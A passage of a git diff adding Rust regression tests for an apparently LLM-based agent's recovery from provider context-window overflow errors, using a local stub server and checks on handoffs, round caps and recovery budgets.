json!(13u64), + "turn 2 round 1 must report 5 (turn 1) + 8 (this round), not 8" + ); + + h.shutdown().await; +} + /// When a turn is cancelled AFTER the provider has already returned a response /// (so token counts are observed), buzz-agent must still emit the usage /// notification before the cancelled `session/prompt` response. diff --git a/crates/buzz-agent/tests/regressions.rs b/crates/buzz-agent/tests/regressions.rs index abb4f7b311..c82be76dc0 100644 --- a/crates/buzz-agent/tests/regressions.rs +++ b/crates/buzz-agent/tests/regressions.rs @@ -21,6 +21,13 @@ struct CapturingLlm { } async fn spawn_capturing_llm(responses: Vec) -> CapturingLlm { + spawn_capturing_llm_with_status(responses.into_iter().map(|v| (200u16, v)).collect()).await +} + +/// Like `spawn_capturing_llm` but each canned response carries its own HTTP +/// status, so a test can serve a real provider rejection (e.g. a context-window +/// 400) instead of only success bodies. +async fn spawn_capturing_llm_with_status(responses: Vec<(u16, Value)>) -> CapturingLlm { let listener = TcpListener::bind("127.0.0.1:0").await.unwrap(); let url = format!("http://{}", listener.local_addr().unwrap()); let queue = Arc::new(Mutex::new(VecDeque::from(responses))); @@ -66,14 +73,19 @@ async fn spawn_capturing_llm(responses: Vec) -> CapturingLlm { if let Ok(req) = serde_json::from_slice::(&buf[header_end..]) { captured.lock().await.push(req); } - let body = queue + let (status, body) = queue .lock() .await .pop_front() - .unwrap_or_else(|| json!({ "error": "no canned response" })); + .unwrap_or_else(|| (200, json!({ "error": "no canned response" }))); let body_s = serde_json::to_string(&body).unwrap(); + let reason = match status { + 200 => "OK", + 400 => "Bad Request", + _ => "Error", + }; let resp = format!( - "HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{}", + "HTTP/1.1 {status} {reason}\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{}", body_s.len(), body_s, ); let _ = sock.write_all(resp.as_bytes()).await; @@ -2281,3 +2293,1293 @@ fn reply_guard_rejects_unparseable_toggle() { "expected the offending key in the error, got: {stderr}" ); } + +/// A prompt large enough that the recovery ladder's halving stays above +/// `HANDOFF_MIN_PROMPT_BUDGET_BYTES` (4 KiB) for all three rungs. +/// +/// This is load-bearing, not decoration: with a tiny history the ladder +/// correctly refuses on the FIRST rung (halving a 49-byte history lands at 24 +/// bytes, far under the floor), so a small fixture cannot exercise recovery at +/// all — it exercises the floor. `marker` is embedded so the prompt is still +/// identifiable in a captured request body. +fn large_prompt(marker: &str) -> String { + let mut s = String::with_capacity(64 * 1024 + marker.len()); + s.push_str(marker); + s.push(' '); + while s.len() < 64 * 1024 { + s.push_str("filler context to make the history realistically large. "); + } + s +} + +/// OpenAI-compatible context-window rejection body, matching the shape the +/// provider actually returns on overflow. +fn openai_context_length_error() -> Value { + json!({ + "error": { + "message": "This model's maximum context length is 8192 tokens. \ + However, your messages resulted in 20000 tokens.", + "type": "invalid_request_error", + "code": "context_length_exceeded", + } + }) +} + +/// A 400 that is NOT a context-window overflow — the negative control for the +/// matcher. Deliberately quotes "tokens" and "model", the words a sloppy +/// matcher would key on. +fn openai_ordinary_400() -> Value { + json!({ + "error": { + "message": "Invalid value for 'max_tokens': must be an integer for this model", + "type": "invalid_request_error", + "code": "invalid_value", + } + }) +} + +/// THE BUG. A provider context-window 400 must be recovered from in-loop, not +/// propagated out of `run()`. +/// +/// Without the reactive path this is a permanent stick, and the mechanism is +/// what makes it permanent rather than transient: a failed request reports no +/// usage, so `last_request_input_tokens` stays frozen at the last SUCCESSFUL +/// (sub-threshold) reading, `should_handoff()` therefore returns false forever, +/// and the in-memory session keeps the same oversized history. Every later +/// prompt in that session fails identically, for the life of the session. +/// (Restarting the agent clears it — history is not written to disk — which is +/// why the only workaround today is a restart.) +/// +/// The sequence here reproduces exactly that state: request 1 succeeds and +/// reports usage well UNDER the threshold (so the proactive gate is provably +/// not what fires), request 2 is rejected with a context-window 400. The agent +/// must force a handoff and retry, so the prompt still ends in a normal +/// `end_turn` rather than a JSON-RPC error. +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +async fn context_window_400_recovers_instead_of_sticking() { + let llm = spawn_capturing_llm_with_status(vec![ + // req 1: succeeds, usage 10 tokens — far under any threshold. + (200, openai_text_with_usage("ack", 10)), + // req 2: the overflow rejection. + (400, openai_context_length_error()), + // req 3: the forced handoff's summarize() call. + (200, openai_text("recovered handoff summary")), + // req 4: the retried completion, now on fresh history. + (200, openai_text_with_usage("done after recovery", 10)), + ]) + .await; + let mut h = Harness::spawn_with_env( + &llm.url, + &[ + // Large window + large byte budget: neither proactive gate can be + // what produces the handoff, so a handoff here is attributable to + // the reactive path alone. + ("BUZZ_AGENT_MAX_CONTEXT_TOKENS", "200000"), + ("BUZZ_AGENT_MAX_OUTPUT_TOKENS", "8192"), + ( + "BUZZ_AGENT_MAX_HISTORY_BYTES", + &(16 * 1024 * 1024).to_string(), + ), + // Cap of 0: proves the forced path bypasses `max_handoffs`. Any + // gated handoff is impossible under this setting. + ("BUZZ_AGENT_MAX_HANDOFFS", "0"), + ], + ) + .await; + let sid = init_session(&mut h, json!([])).await; + + let p0 = h + .send( + "session/prompt", + json!({"sessionId": sid, "prompt": [{"type":"text","text":"first prompt, succeeds"}]}), + ) + .await; + let r0 = h.recv_until(|v| v["id"] == json!(p0)).await; + assert!( + r0["result"].get("stopReason").is_some(), + "first prompt should succeed: {r0}" + ); + + // Second prompt: its first completion is rejected for context overflow. + let p1 = h + .send( + "session/prompt", + json!({"sessionId": sid, "prompt": [{"type":"text","text": large_prompt("second-prompt-overflows")}]}), + ) + .await; + let r1 = h.recv_until(|v| v["id"] == json!(p1)).await; + assert!( + r1.get("error").is_none(), + "context-window 400 must be recovered in-loop, not returned as an error: {r1} \ + stderr={}", + h.stderr_text() + ); + assert_eq!( + r1["result"]["stopReason"], + "end_turn", + "expected the turn to finish after recovery: {r1} stderr={}", + h.stderr_text() + ); + // 4 requests = the rejected one, the summarize, and the retry. 2 would mean + // no recovery was attempted. + let captured = llm.captured.lock().await.len(); + assert_eq!( + captured, + 4, + "expected reject + summarize + retry (4 reqs total), saw {captured} — stderr={}", + h.stderr_text() + ); + let stderr = h.stderr_text(); + assert!( + stderr.contains("provider reported context overflow; forcing handoff"), + "expected the forced-handoff log line, got: {stderr}" + ); + h.shutdown().await; +} + +/// A successful recovery must actually send the recovered completion, even when +/// `max_rounds` is finite. `round` is incremented BEFORE the completion that +/// gets rejected, so a naive `continue` after recovery re-enters the loop with +/// the rejected attempt already charged against the cap: with +/// `BUZZ_AGENT_MAX_ROUNDS=1` the turn would return `max_turn_requests` after +/// destructively resetting history, having never sent the retry. That silently +/// converts "recovered" into "history destroyed, question unanswered" — worse +/// than the error it replaced, because the user gets a stop reason rather than a +/// failure. +/// +/// The default `max_rounds` is 0 (unbounded), which is why the rest of the +/// matrix cannot see this: the cap check at the top of the loop never fires. +/// +/// `max_rounds=1` is also the tightest possible setting, so it pins the +/// boundary: exactly one round is authorized, the rejected request must not +/// consume it, and the retry must be the request that spends it. +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +async fn recovery_retry_is_sent_under_a_finite_round_cap() { + let llm = spawn_capturing_llm_with_status(vec![ + // req 1: the overflow rejection (round 1 charged before it is sent). + (400, openai_context_length_error()), + // req 2: the forced handoff's summarize() call. + (200, openai_text("recovered handoff summary")), + // req 3: the retried completion. Under the bug this is never sent. + (200, openai_text_with_usage("done after recovery", 10)), + ]) + .await; + let mut h = Harness::spawn_with_env( + &llm.url, + &[ + ("BUZZ_AGENT_MAX_CONTEXT_TOKENS", "200000"), + ("BUZZ_AGENT_MAX_OUTPUT_TOKENS", "8192"), + ( + "BUZZ_AGENT_MAX_HISTORY_BYTES", + &(16 * 1024 * 1024).to_string(), + ), + ("BUZZ_AGENT_MAX_HANDOFFS", "0"), + // The whole point: a finite cap, at its tightest. + ("BUZZ_AGENT_MAX_ROUNDS", "1"), + ], + ) + .await; + let sid = init_session(&mut h, json!([])).await; + + let p0 = h + .send( + "session/prompt", + json!({"sessionId": sid, "prompt": [{"type":"text","text": large_prompt("overflows-under-finite-cap")}]}), + ) + .await; + let r0 = h.recv_until(|v| v["id"] == json!(p0)).await; + assert!( + r0.get("error").is_none(), + "context-window 400 must be recovered in-loop: {r0} stderr={}", + h.stderr_text() + ); + // The discriminator. `max_turn_requests` here means recovery ran, history + // was reset, and the turn ended without ever asking the model again. + assert_eq!( + r0["result"]["stopReason"], + "end_turn", + "a recovered turn must finish by answering, not by hitting the round cap: {r0} \ + stderr={}", + h.stderr_text() + ); + // 3 requests = reject + summarize + retry. 2 would mean the retry was + // never sent (the bug); the outcome assertion alone cannot tell those apart + // if the stop reason were ever produced some other way. + let captured = llm.captured.lock().await.len(); + assert_eq!( + captured, + 3, + "expected reject + summarize + retry (3 reqs), saw {captured} — stderr={}", + h.stderr_text() + ); + h.shutdown().await; +} + +/// The finite round cap must still bind for ORDINARY rounds — the recovery +/// refund must not become a general amnesty. With `max_rounds=1` and no context +/// overflow anywhere, a model that keeps requesting tool calls gets exactly one +/// completion and then `max_turn_requests`. +/// +/// Without this arm, "make the recovered retry possible" is satisfiable by +/// deleting the cap, and the test above would still pass. +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +async fn finite_round_cap_still_binds_without_a_context_overflow() { + let llm = spawn_capturing_llm_with_status(vec![ + // Round 1: a tool call, which would normally drive another round. + ( + 200, + openai_tool_call("tc1", "dev__shell", json!({"command": "true"})), + ), + // Never reached: the cap must stop the turn before a second completion. + (200, openai_text_with_usage("should not be sent", 10)), + ]) + .await; + let mut h = Harness::spawn_with_env( + &llm.url, + &[ + ("BUZZ_AGENT_MAX_CONTEXT_TOKENS", "200000"), + ("BUZZ_AGENT_MAX_ROUNDS", "1"), + ], + ) + .await; + let sid = init_session(&mut h, json!([])).await; + + let p0 = h + .send( + "session/prompt", + json!({"sessionId": sid, "prompt": [{"type":"text","text":"drive a tool call"}]}), + ) + .await; + let r0 = h.recv_until(|v| v["id"] == json!(p0)).await; + assert_eq!( + r0["result"]["stopReason"], + "max_turn_requests", + "an ordinary finite cap must still bind: {r0} stderr={}", + h.stderr_text() + ); + let captured = llm.captured.lock().await.len(); + assert_eq!( + captured, + 1, + "exactly one completion is authorized by max_rounds=1, saw {captured} — stderr={}", + h.stderr_text() + ); + h.shutdown().await; +} + +/// Prompt-exactly-once across a forced handoff: the live user prompt must be +/// retained in the fresh history exactly once — not dropped (the model would +/// answer a question it can no longer see) and not duplicated (a doubled prompt +/// re-inflates the context we just shrank, and can produce a doubled action). +/// +/// Asserted on the retry request's own message array, which is the only place +/// the post-reset history is observable from outside. +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +async fn forced_handoff_retains_live_prompt_exactly_once() { + const MARKER: &str = "unique-live-prompt-marker-7f3a"; + let llm = spawn_capturing_llm_with_status(vec![ + (200, openai_text_with_usage("ack", 10)), + (400, openai_context_length_error()), + (200, openai_text("summary body")), + (200, openai_text_with_usage("done", 10)), + ]) + .await; + let mut h = Harness::spawn_with_env( + &llm.url, + &[ + ("BUZZ_AGENT_MAX_CONTEXT_TOKENS", "200000"), + ( + "BUZZ_AGENT_MAX_HISTORY_BYTES", + &(16 * 1024 * 1024).to_string(), + ), + ("BUZZ_AGENT_MAX_HANDOFFS", "0"), + ], + ) + .await; + let sid = init_session(&mut h, json!([])).await; + let p0 = h + .send( + "session/prompt", + json!({"sessionId": sid, "prompt": [{"type":"text","text":"warmup"}]}), + ) + .await; + let _ = h.recv_until(|v| v["id"] == json!(p0)).await; + let p1 = h + .send( + "session/prompt", + json!({"sessionId": sid, "prompt": [{"type":"text","text": large_prompt(MARKER)}]}), + ) + .await; + let r1 = h.recv_until(|v| v["id"] == json!(p1)).await; + assert!(r1.get("error").is_none(), "expected recovery: {r1}"); + + let captured = llm.captured.lock().await; + let retry = captured + .last() + .expect("at least one captured request") + .clone(); + drop(captured); + let messages = retry["messages"] + .as_array() + .unwrap_or_else(|| panic!("retry request had no messages array: {retry}")); + let occurrences = messages + .iter() + .filter(|m| { + m["content"] + .as_str() + .map(|s| s.contains(MARKER)) + .unwrap_or(false) + }) + .count(); + assert_eq!( + occurrences, 1, + "live prompt must appear exactly once in post-handoff history, saw {occurrences} in \ + {messages:#?}" + ); + h.shutdown().await; +} + +/// Negative control at the loop layer: an ordinary 400 must stay terminal. +/// +/// This is the arm that keeps the recovery narrow. If the matcher were loose, +/// this request would be classified as recoverable, the agent would spend its +/// whole recovery budget summarizing, and a clear immediate failure would +/// become a slow one — with three wasted provider round-trips. Exactly one +/// request, and the prompt returns an error. +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +async fn ordinary_400_stays_terminal_and_triggers_no_recovery() { + let llm = spawn_capturing_llm_with_status(vec![(400, openai_ordinary_400())]).await; + let mut h = Harness::spawn_with_env( + &llm.url, + &[ + ("BUZZ_AGENT_MAX_CONTEXT_TOKENS", "200000"), + ("BUZZ_AGENT_MAX_HANDOFFS", "3"), + ], + ) + .await; + let sid = init_session(&mut h, json!([])).await; + let p0 = h + .send( + "session/prompt", + json!({"sessionId": sid, "prompt": [{"type":"text","text":"hello"}]}), + ) + .await; + let r0 = h.recv_until(|v| v["id"] == json!(p0)).await; + assert!( + r0.get("error").is_some(), + "an ordinary 400 must surface as an error, got: {r0}" + ); + let captured = llm.captured.lock().await.len(); + assert_eq!( + captured, + 1, + "an ordinary 400 must not trigger a recovery attempt; saw {captured} requests — \ + stderr={}", + h.stderr_text() + ); + let stderr = h.stderr_text(); + assert!( + !stderr.contains("provider reported context overflow"), + "ordinary 400 must not be classified as a context overflow, got: {stderr}" + ); + h.shutdown().await; +} + +/// The recovery budget must be finite: a provider that rejects every request +/// for context overflow — including the retries — has to surface the error +/// rather than being rescued forever. `max_rounds` cannot bound this (it +/// defaults to 0/unbounded), so the per-`run()` recovery budget is the only +/// thing standing between this case and an infinite loop. +/// +/// The stub returns a context-400 to EVERY request, so a missing bound shows up +/// as a hang rather than a wrong answer — hence the explicit timeout, which is +/// part of the assertion. +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +async fn context_recovery_budget_exhaustion_surfaces_the_error() { + // Enough canned 400s that the queue is never the thing that stops the loop; + // the fallback response is also a 400-shaped body under this helper only if + // queued, so keep the queue generously long. + let responses: Vec<(u16, Value)> = (0..40) + .map(|_| (400, openai_context_length_error())) + .collect(); + let llm = spawn_capturing_llm_with_status(responses).await; + let mut h = Harness::spawn_with_env( + &llm.url, + &[ + ("BUZZ_AGENT_MAX_CONTEXT_TOKENS", "200000"), + ( + "BUZZ_AGENT_MAX_HISTORY_BYTES", + &(16 * 1024 * 1024).to_string(), + ), + ("BUZZ_AGENT_MAX_HANDOFFS", "0"), + ], + ) + .await; + let sid = init_session(&mut h, json!([])).await; + let p0 = h + .send( + "session/prompt", + json!({"sessionId": sid, "prompt": [{"type":"text","text": large_prompt("always-overflows")}]}), + ) + .await; + let r0 = tokio::time::timeout( + Duration::from_secs(20), + h.recv_until(|v| v["id"] == json!(p0)), + ) + .await + .expect("recovery must be bounded — prompt never returned, so the rescue loop is unbounded"); + assert!( + r0.get("error").is_some(), + "exhausted recovery must surface the provider error, got: {r0}" + ); + let msg = r0["error"]["message"].as_str().unwrap_or_default(); + assert!( + msg.contains("context"), + "surfaced error should be the provider's own context-window error, got: {msg}" + ); + // Discriminate WHICH bound stopped the loop. Both the budget and the prompt + // floor produce a surfaced error, so the assertion above passes either way + // — and the floor can fire on the first rung without the budget ever being + // consumed, which would make this test silently exercise a different + // mechanism than its name claims. Pin the budget explicitly. + let stderr = h.stderr_text(); + assert!( + stderr.contains("context recovery budget spent"), + "the per-run recovery BUDGET must be what stops the loop here, not the prompt floor; \ + got: {stderr}" + ); + // Corroboration: every rung actually ran a forced handoff. + let rungs = stderr + .matches("provider reported context overflow; forcing handoff") + .count(); + assert_eq!( + rungs, 3, + "expected all 3 recovery rungs to be attempted before giving up, saw {rungs} — \ + stderr={stderr}" + ); + h.shutdown().await; +} + +/// The prompt-budget floor, observed on its own. A context-window 400 on a +/// SMALL history must refuse to rescue rather than halve toward zero: the +/// overflow is then dominated by what a handoff cannot shrink (system prompt, +/// tool schemas, the live user prompt), so shrinking history further would only +/// issue smaller doomed requests in place of a clear error. +/// +/// The outcome — a surfaced error — is identical to budget exhaustion, so this +/// asserts the discriminating evidence instead: the floor log line, and that +/// ZERO forced handoffs were attempted. Without the floor the ladder would spend +/// all three rungs summarizing a 40-byte history, which is the behavior this +/// arm exists to forbid. +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +async fn small_history_context_400_refuses_rescue_at_the_prompt_floor() { + let responses: Vec<(u16, Value)> = (0..10) + .map(|_| (400, openai_context_length_error())) + .collect(); + let llm = spawn_capturing_llm_with_status(responses).await; + let mut h = Harness::spawn_with_env( + &llm.url, + &[ + ("BUZZ_AGENT_MAX_CONTEXT_TOKENS", "200000"), + ( + "BUZZ_AGENT_MAX_HISTORY_BYTES", + &(16 * 1024 * 1024).to_string(), + ), + ("BUZZ_AGENT_MAX_HANDOFFS", "0"), + ], + ) + .await; + let sid = init_session(&mut h, json!([])).await; + let p0 = h + .send( + "session/prompt", + json!({"sessionId": sid, "prompt": [{"type":"text","text":"tiny"}]}), + ) + .await; + let r0 = tokio::time::timeout( + Duration::from_secs(20), + h.recv_until(|v| v["id"] == json!(p0)), + ) + .await + .expect("must not loop — the floor should stop the rescue immediately"); + assert!( + r0.get("error").is_some(), + "a context 400 with no shrinkable history must surface the error, got: {r0}" + ); + let stderr = h.stderr_text(); + assert!( + stderr.contains("below the") && stderr.contains("floor"), + "the prompt-budget FLOOR must be what stops this, not the recovery budget; got: {stderr}" + ); + let rungs = stderr + .matches("provider reported context overflow; forcing handoff") + .count(); + assert_eq!( + rungs, 0, + "no rescue should be attempted below the floor, saw {rungs} — stderr={stderr}" + ); + // Exactly one request: the rejected one. No summarize, no retry. + let captured = llm.captured.lock().await.len(); + assert_eq!( + captured, 1, + "expected no rescue round-trips below the floor, saw {captured} requests" + ); + h.shutdown().await; +} + +/// The recovery ladder must actually SHRINK, not just re-summarize at the size +/// that was already rejected. +/// +/// Observed on the summarize request's own body — the only externally visible +/// consequence of the prompt budget. The rejected completion carried the full +/// history; the rescue's summarize prompt must be materially smaller. Without +/// this arm, deleting the halving entirely leaves every other test green: they +/// assert that a handoff HAPPENED, and a handoff at the rejected size still +/// happens (it just cannot escape a real overflow, which a stub does not +/// reproduce). +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +async fn recovery_shrinks_the_summarize_prompt_below_the_rejected_size() { + let llm = spawn_capturing_llm_with_status(vec![ + (400, openai_context_length_error()), + (200, openai_text("summary")), + (200, openai_text_with_usage("done", 10)), + ]) + .await; + let mut h = Harness::spawn_with_env( + &llm.url, + &[ + ("BUZZ_AGENT_MAX_CONTEXT_TOKENS", "200000"), + ( + "BUZZ_AGENT_MAX_HISTORY_BYTES", + &(16 * 1024 * 1024).to_string(), + ), + ("BUZZ_AGENT_MAX_HANDOFFS", "0"), + ], + ) + .await; + let sid = init_session(&mut h, json!([])).await; + let p0 = h + .send( + "session/prompt", + json!({"sessionId": sid, "prompt": [{"type":"text","text": large_prompt("shrink-probe")}]}), + ) + .await; + let r0 = h.recv_until(|v| v["id"] == json!(p0)).await; + assert!(r0.get("error").is_none(), "expected recovery: {r0}"); + + let captured = llm.captured.lock().await.clone(); + assert!( + captured.len() >= 2, + "expected at least reject + summarize, saw {}", + captured.len() + ); + let content_bytes = |req: &Value| -> usize { + req["messages"] + .as_array() + .map(|ms| { + ms.iter() + .filter_map(|m| m["content"].as_str()) + .map(str::len) + .sum() + }) + .unwrap_or(0) + }; + let rejected = content_bytes(&captured[0]); + let summarize = content_bytes(&captured[1]); + assert!( + rejected > 0 && summarize > 0, + "empty measurement is not a result: rejected={rejected} summarize={summarize}" + ); + // Halving from the rejected size lands near 0.5x; 0.75x leaves headroom for + // the summarizer's fixed frame while still failing if no shrink happened. + assert!( + (summarize as f64) < 0.75 * (rejected as f64), + "rescue summarize prompt ({summarize} bytes) must be materially smaller than the \ + rejected request ({rejected} bytes) — the ladder is not shrinking" + ); + h.shutdown().await; +} + +/// The ladder must shrink between RUNGS, not just once on entry. +/// +/// This arm exists because a mutant that pins `shift` to `1` — deleting the +/// `attempts` dependence, so every rung rebuilds the same budget — SURVIVED the +/// whole suite. It had to: `attempts` is 0 on the first rung, so `shift = 1` IS +/// production there, and every other arm stops at rung 1. The single-rung shrink +/// arm above cannot see this; only a fixture that forces a SECOND rung can. +/// +/// The forcing move is the realistic one the ladder was designed for: the +/// summarize call travels the same provider path, so rung 1's summarize is +/// itself rejected for context overflow (`Skipped`), and rung 2 must come back +/// with a materially smaller summarizer prompt. +/// +/// Budgets: history is ~64 KB, so rung 1 asks for ~32 KB and rung 2 for ~16 KB, +/// both comfortably above the 4 KiB floor — the floor must not be what +/// separates them, or this would measure the wrong mechanism. +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +async fn recovery_shrinks_further_on_each_rung() { + let llm = spawn_capturing_llm_with_status(vec![ + // 1: the completion that overflows. + (400, openai_context_length_error()), + // 2: rung-1 summarize, rejected the same way -> Skipped -> next rung. + (400, openai_context_length_error()), + // 3: rung-2 summarize succeeds. + (200, openai_text("summary")), + // 4: the retried completion. + (200, openai_text_with_usage("done", 10)), + ]) + .await; + let mut h = Harness::spawn_with_env( + &llm.url, + &[ + ("BUZZ_AGENT_MAX_CONTEXT_TOKENS", "200000"), + ( + "BUZZ_AGENT_MAX_HISTORY_BYTES", + &(16 * 1024 * 1024).to_string(), + ), + ("BUZZ_AGENT_MAX_HANDOFFS", "0"), + ], + ) + .await; + let sid = init_session(&mut h, json!([])).await; + let p0 = h + .send( + "session/prompt", + json!({"sessionId": sid, "prompt": [{"type":"text","text": large_prompt("rung-shrink-probe")}]}), + ) + .await; + let r0 = h.recv_until(|v| v["id"] == json!(p0)).await; + assert!( + r0.get("error").is_none(), + "expected recovery on the second rung: {r0}" + ); + + // The second rung must actually have been taken — otherwise the byte + // comparison below would compare rung 1 against the retry. + let stderr = h.stderr_text(); + assert!( + stderr.contains("did not run; shrinking further"), + "rung 1 must have been Skipped so rung 2 runs; got: {stderr}" + ); + assert!( + !stderr.contains("below the"), + "the prompt FLOOR must not be involved in this fixture; got: {stderr}" + ); + + let captured = llm.captured.lock().await.clone(); + assert_eq!( + captured.len(), + 4, + "expected reject + rung1 summarize + rung2 summarize + retry, saw {}", + captured.len() + ); + let content_bytes = |req: &Value| -> usize { + req["messages"] + .as_array() + .map(|ms| { + ms.iter() + .filter_map(|m| m["content"].as_str()) + .map(str::len) + .sum() + }) + .unwrap_or(0) + }; + let rung1 = content_bytes(&captured[1]); + let rung2 = content_bytes(&captured[2]); + assert!( + rung1 > 0 && rung2 > 0, + "empty measurement is not a result: rung1={rung1} rung2={rung2}" + ); + assert!( + (rung2 as f64) < 0.75 * (rung1 as f64), + "each rung must shrink: rung2 ({rung2} bytes) is not materially smaller than rung1 \ + ({rung1} bytes) — the budget is not tracking `attempts`" + ); + h.shutdown().await; +} + +/// Gate 5, and the DIRECTION the clearing protects: not a spurious handoff, a +/// MISSED one. After a reactive reset the stale `last_request_input_tokens` +/// describes history that no longer exists, and its paired byte baseline +/// describes the pre-reset (larger) history — so `grown` stays near zero and the +/// projection collapses to the stale sub-threshold token count. The gate goes +/// BLIND until history exceeds its pre-reset size. +/// +/// Constructing the divergence takes three turns, and two of the constraints are +/// load-bearing — a first attempt with a simpler fixture produced traces +/// BYTE-IDENTICAL between the fix and its deletion: +/// * Turn 1 must stay UNDER the gate threshold, or the proactive handoff fires +/// first and consumes the queue slot the overflow was meant to land in — no +/// usage is ever recorded, both variants sit at `None`, and the test measures +/// nothing. +/// * The post-recovery retry must report NO usage. A usage-bearing response +/// overwrites both fields with coherent values on the spot, which makes the +/// clear genuinely redundant and the mutant equivalent. The reachable window +/// is exactly when the retry omits usage and the stale pair survives. +/// Turn 3 then carries a large prompt: a cleared baseline falls through to the +/// byte signal and hands off, while the stale pair projects +/// `10 + (190KB - 100KB)` = ~90k tokens, under the 180k threshold, and does not. +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +async fn reactive_reset_clears_usage_baseline_so_the_gate_is_not_blind() { + // ~100 KB: under the 180 KB byte-fallback threshold, so turn 1 does NOT + // trip the proactive gate, but large enough to be the stale `measured_bytes` + // that suppresses `grown` later. + let mut medium = String::with_capacity(100 * 1024); + medium.push_str("turn-one-medium "); + while medium.len() < 100 * 1024 { + medium.push_str("padding under the byte fallback threshold. "); + } + // ~190 KB: over the threshold, so a CLEARED baseline must hand off. + let mut big = String::with_capacity(190 * 1024); + big.push_str("turn-three-large "); + while big.len() < 190 * 1024 { + big.push_str("padding to exceed the byte fallback threshold. "); + } + + let llm = spawn_capturing_llm_with_status(vec![ + // Turn 1: succeeds, reporting a SMALL usage reading against a ~100 KB + // history. This is the pair that goes stale. + (200, openai_text_with_usage("ack-medium", 10)), + // Turn 2: the overflow. + (400, openai_context_length_error()), + // Turn 2: the forced handoff's summarize. + (200, openai_text("forced summary")), + // Turn 2: the retry — NO usage block, so the baseline is not refreshed. + (200, openai_text("recovered, no usage reported")), + // Turn 3: with a cleared baseline a gated summarize comes first; with a + // stale one this slot is the completion instead. Spares so an exhausted + // queue is never what ends a turn. + (200, openai_text("gated summary")), + (200, openai_text_with_usage("done", 10)), + (200, openai_text_with_usage("spare-1", 10)), + (200, openai_text_with_usage("spare-2", 10)), + ]) + .await; + let mut h = Harness::spawn_with_env( + &llm.url, + &[ + ("BUZZ_AGENT_MAX_CONTEXT_TOKENS", "200000"), + ("BUZZ_AGENT_MAX_OUTPUT_TOKENS", "8192"), + ( + "BUZZ_AGENT_MAX_HISTORY_BYTES", + &(16 * 1024 * 1024).to_string(), + ), + // Must permit a GATED handoff — turn 3 observes the proactive gate, + // which a cap of 0 would forbid. + ("BUZZ_AGENT_MAX_HANDOFFS", "5"), + ], + ) + .await; + let sid = init_session(&mut h, json!([])).await; + + // Turn 1: under threshold, records the usage pair. + let p0 = h + .send( + "session/prompt", + json!({"sessionId": sid, "prompt": [{"type":"text","text": medium}]}), + ) + .await; + let r0 = tokio::time::timeout( + Duration::from_secs(25), + h.recv_until(|v| v["id"] == json!(p0)), + ) + .await + .expect("turn 1 must return"); + assert!(r0.get("error").is_none(), "turn 1 should succeed: {r0}"); + assert!( + !h.stderr_text().contains("handoff #"), + "precondition: turn 1 must NOT hand off, or no usage pair is recorded and this test \ + measures nothing. stderr={}", + h.stderr_text() + ); + + // Turn 2: small prompt, overflow, reactive recovery. + let p1 = h + .send( + "session/prompt", + json!({"sessionId": sid, "prompt": [{"type":"text","text":"small, overflows"}]}), + ) + .await; + let r1 = tokio::time::timeout( + Duration::from_secs(25), + h.recv_until(|v| v["id"] == json!(p1)), + ) + .await + .expect("turn 2 must return"); + assert!(r1.get("error").is_none(), "turn 2 should recover: {r1}"); + assert!( + h.stderr_text() + .contains("provider reported context overflow; forcing handoff"), + "precondition: the reactive path must have run in turn 2. stderr={}", + h.stderr_text() + ); + let handoffs_after_turn2 = h.stderr_text().matches("handoff #").count(); + + // Turn 3: large prompt. A cleared baseline sees it via the byte signal and + // hands off; a stale pair under-projects and stays blind. + let p2 = h + .send( + "session/prompt", + json!({"sessionId": sid, "prompt": [{"type":"text","text": big}]}), + ) + .await; + let r2 = tokio::time::timeout( + Duration::from_secs(25), + h.recv_until(|v| v["id"] == json!(p2)), + ) + .await + .expect("turn 3 must return"); + assert!(r2.get("error").is_none(), "turn 3 should succeed: {r2}"); + let stderr = h.stderr_text(); + let handoffs_after_turn3 = stderr.matches("handoff #").count(); + assert!( + handoffs_after_turn3 > handoffs_after_turn2, + "turn 3 must produce a GATED handoff ({handoffs_after_turn2} before, \ + {handoffs_after_turn3} after): the reactive reset must clear the usage baseline, or the \ + proactive gate under-projects and stays blind to an oversized history. stderr={stderr}" + ); + h.shutdown().await; +} + +// ─── Tests: per-turn handoff cap semantics ─────────────────────────────────── + +/// A session that has already performed N handoffs in previous turns must still +/// compact on subsequent turns — the per-session lifetime kill switch is gone. +/// +/// Mechanism: the gate fires at the start of each round, comparing +/// `last_request_input_tokens` (stored by the previous response) against the +/// token threshold. So: +/// - Turn 1 complete() returns usage=950 (> threshold=900). Turn ends; usage stored. +/// - Turn 2 round 0: 950 >= 900 → handoff. post-handoff complete() returns usage=950. +/// Session `handoff_count` is now 1; `turn_handoff_count` was just reset to 0 at +/// turn start and is now 1. +/// - Turn 3 round 0: `turn_handoff_count` resets to 0; session count is 1 but +/// the gate uses `turn_handoff_count` → cap not reached → handoff fires again. +/// +/// Without the fix (`handoff_count` compared against cap, never reset): +/// session count after turn 2 = 1 >= max_handoffs=1 → gate permanently blocked +/// for all subsequent turns → history grows until provider wall. +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +async fn handoff_cap_resets_per_turn_not_per_session() { + // LLM call sequence: + // req 1: turn 1 complete() → usage=950 (over threshold) + // req 2: turn 2 pre-flight summarize → summary text + // req 3: turn 2 complete() → usage=950 (re-arms gate for turn 3) + // req 4: turn 3 pre-flight summarize → summary text ← cap reset proves this fires + // req 5: turn 3 complete() → done + let llm = spawn_capturing_llm(vec![ + openai_text_with_usage("ack-t1", 950), // turn 1: stores high usage + openai_text("summary-t2"), // turn 2: pre-flight summarize + openai_text_with_usage("done-t2", 950), // turn 2: post-handoff, re-arms gate + openai_text("summary-t3"), // turn 3: pre-flight summarize (cap reset) + openai_text_with_usage("done-t3", 10), // turn 3: post-handoff complete + ]) + .await; + + let mut h = Harness::spawn_with_env( + &llm.url, + &[ + ("BUZZ_AGENT_MAX_CONTEXT_TOKENS", "1000"), + 